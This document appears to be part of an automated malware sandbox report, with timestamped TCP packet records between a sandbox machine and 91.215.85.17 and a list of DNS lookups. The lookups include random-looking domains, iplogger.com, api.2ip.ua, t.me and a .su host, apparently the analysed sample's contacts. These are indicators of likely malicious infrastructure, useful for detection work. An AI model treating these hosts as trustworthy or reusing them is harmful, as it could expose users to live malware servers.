Oct 13, 2023 16:06:21.107000113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.107055902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.107078075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.107144117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.107254028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.107295990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.107335091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.107412100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.107453108 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.107489109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.107563972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.107599020 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.107635975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.107677937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.107764959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.107836962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.107875109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.107924938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108002901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108043909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108051062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.108144045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108215094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108258009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.108329058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108375072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108413935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.108423948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108462095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.108488083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108593941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108640909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.108704090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108778954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108817101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.108869076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.108951092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109009027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.109019995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109074116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109143972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109185934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.109225035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109328032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109369993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.109416962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109456062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.109482050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109561920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109601021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.109622955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109697104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109709978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109736919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.109790087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109827995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.109846115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109913111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.109977007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.110002995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110116005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110157013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.110173941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110254049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110291958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.110312939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110414028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110469103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110512018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.110549927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110625029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110665083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.110680103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110717058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.110790014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110855103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110897064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.110914946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110951900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.110991955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.111052036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111113071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111151934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.111176014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111262083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111310005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.111350060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111419916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111490011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111530066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.111562967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111648083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111686945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.111731052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111767054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.111780882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111890078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111923933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.111927986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.112024069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.112062931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.112124920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.112217903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.112282991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.112322092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.112344980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.112407923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.112473965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.112483025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.112541914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.112543106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.112617970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.112658024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.112737894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.112804890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.112831116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.112844944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.112931967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.113080978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.113121986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.113147974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.113244057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.113286972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.113351107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.113393068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.113450050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.113543987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.113590956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.113605022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.113692999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.113737106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.113746881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.113863945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.113907099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.113925934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.113991976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114067078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114109993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.114110947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114192963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114240885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.114274979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114381075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114419937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.114485979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114566088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114609957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.114624023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114665985 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.114670038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114764929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114806890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.114809036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114875078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.114922047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.114939928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.115045071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.115102053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.115108013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.115175962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.115232944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.115284920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.115319014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.115398884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.115437984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.115453005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.115557909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.115602970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.115658998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.115700006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.115724087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.115833998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.115874052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.115952015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.116055965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.116097927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.116132975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.116228104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.116290092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.116333961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.116338015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.116436005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.116476059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.116488934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.116533995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.116559029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.116676092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.116718054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.116776943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.116868973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.116918087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.116954088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117029905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117109060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117149115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.117197990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117280960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117321014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.117386103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117429972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.117429972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117526054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117582083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117621899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117629051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.117666960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.117692947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117757082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.117793083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117866039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.117902994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.117939949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.118057013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.118096113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.118122101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.118165970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.118247032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.118318081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.118360043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.118376970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.118489981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.118568897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.118608952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.118664980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.118752956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.118792057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.118828058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.118866920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:21.118902922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.118999958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:21.119056940 CEST	49762	80	192.168.2.4	91.215.85.17

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 13, 2023 16:05:25.770884037 CEST	192.168.2.4	1.1.1.1	0x3834	Standard query (0)	onualituyrs.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:28.275825024 CEST	192.168.2.4	1.1.1.1	0x5cde	Standard query (0)	sumagulituyo.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:29.273406029 CEST	192.168.2.4	1.1.1.1	0x5cde	Standard query (0)	sumagulituyo.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:30.421797037 CEST	192.168.2.4	1.1.1.1	0xcdc4	Standard query (0)	snukerukeutit.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:31.431250095 CEST	192.168.2.4	1.1.1.1	0xcdc4	Standard query (0)	snukerukeutit.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:33.010535002 CEST	192.168.2.4	1.1.1.1	0xcdc4	Standard query (0)	snukerukeutit.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:41.471539974 CEST	192.168.2.4	1.1.1.1	0xf41c	Standard query (0)	lightseinsteniki.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:42.883732080 CEST	192.168.2.4	1.1.1.1	0x13c1	Standard query (0)	liuliuoumumy.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:43.882862091 CEST	192.168.2.4	1.1.1.1	0x13c1	Standard query (0)	liuliuoumumy.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:44.882844925 CEST	192.168.2.4	1.1.1.1	0x13c1	Standard query (0)	liuliuoumumy.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:46.898282051 CEST	192.168.2.4	1.1.1.1	0x13c1	Standard query (0)	liuliuoumumy.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:50.744302988 CEST	192.168.2.4	1.1.1.1	0x6a85	Standard query (0)	stualialuyastrelia.net	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:58.330055952 CEST	192.168.2.4	1.1.1.1	0xb9c3	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:02.194591999 CEST	192.168.2.4	1.1.1.1	0x2055	Standard query (0)	alayyadcare.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:04.947480917 CEST	192.168.2.4	1.1.1.1	0xdc06	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:04.951786995 CEST	192.168.2.4	1.1.1.1	0xac0d	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:05.961297989 CEST	192.168.2.4	1.1.1.1	0xac0d	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:05.961317062 CEST	192.168.2.4	1.1.1.1	0xdc06	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:06.980786085 CEST	192.168.2.4	1.1.1.1	0xdc06	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:06.980786085 CEST	192.168.2.4	1.1.1.1	0xac0d	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:07.316241980 CEST	192.168.2.4	1.1.1.1	0xf5e8	Standard query (0)	montereyclub.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.976445913 CEST	192.168.2.4	1.1.1.1	0xac0d	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:08.976478100 CEST	192.168.2.4	1.1.1.1	0xdc06	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:09.306792021 CEST	192.168.2.4	1.1.1.1	0x9acb	Standard query (0)	loveperry.org	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:16.468540907 CEST	192.168.2.4	1.1.1.1	0xe31c	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:18.712265968 CEST	192.168.2.4	1.1.1.1	0x91a9	Standard query (0)	iplogger.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:18.712498903 CEST	192.168.2.4	1.1.1.1	0xf825	Standard query (0)	iplogger.com	65	IN (0x0001)	false
Oct 13, 2023 16:06:18.714553118 CEST	192.168.2.4	1.1.1.1	0x23ee	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:18.714754105 CEST	192.168.2.4	1.1.1.1	0x891a	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Oct 13, 2023 16:06:18.721955061 CEST	192.168.2.4	1.1.1.1	0xad48	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:18.722101927 CEST	192.168.2.4	1.1.1.1	0x5f8a	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Oct 13, 2023 16:06:20.649095058 CEST	192.168.2.4	1.1.1.1	0x6892	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:20.649281979 CEST	192.168.2.4	1.1.1.1	0xdd5f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 13, 2023 16:06:20.907748938 CEST	192.168.2.4	1.1.1.1	0x9367	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:20.908210039 CEST	192.168.2.4	1.1.1.1	0xfddb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 13, 2023 16:06:34.099733114 CEST	192.168.2.4	1.1.1.1	0x329	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:34.099855900 CEST	192.168.2.4	1.1.1.1	0x8157	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 13, 2023 16:06:35.682847977 CEST	192.168.2.4	1.1.1.1	0x83f7	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:35.900307894 CEST	192.168.2.4	1.1.1.1	0xa03d	Standard query (0)	wirtshauspost.at	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:49.364300013 CEST	192.168.2.4	1.1.1.1	0x3205	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:49.364697933 CEST	192.168.2.4	1.1.1.1	0x64f0	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Oct 13, 2023 16:06:49.365745068 CEST	192.168.2.4	1.1.1.1	0xa630	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:49.366808891 CEST	192.168.2.4	1.1.1.1	0xddd6	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Oct 13, 2023 16:06:49.486844063 CEST	192.168.2.4	1.1.1.1	0x83c0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:49.487000942 CEST	192.168.2.4	1.1.1.1	0x738a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 13, 2023 16:06:51.154751062 CEST	192.168.2.4	1.1.1.1	0xd961	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:51.154916048 CEST	192.168.2.4	1.1.1.1	0xfba	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Oct 13, 2023 16:06:52.537626028 CEST	192.168.2.4	1.1.1.1	0x514c	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:52.541476011 CEST	192.168.2.4	1.1.1.1	0x6e63	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Oct 13, 2023 16:06:52.542792082 CEST	192.168.2.4	1.1.1.1	0x12ac	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:52.542927027 CEST	192.168.2.4	1.1.1.1	0xc507	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 13, 2023 16:06:54.908736944 CEST	192.168.2.4	1.1.1.1	0x64e6	Standard query (0)	h171008.srv22.test-hf.su	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:06:55.912648916 CEST	192.168.2.4	1.1.1.1	0x64e6	Standard query (0)	h171008.srv22.test-hf.su	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 13, 2023 16:05:26.168190956 CEST	1.1.1.1	192.168.2.4	0x3834	No error (0)	onualituyrs.org		91.215.85.209	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:29.932735920 CEST	1.1.1.1	192.168.2.4	0x5cde	No error (0)	sumagulituyo.org		34.94.245.237	A (IP address)	IN (0x0001)	false
Oct 13, 2023 16:05:29.932761908 CEST	1.1.1.1	192.168.2.4	0x5cde	No error (0)	sumagulituyo.org		34.94.245.237	A (IP address)	IN (0x0001)	false
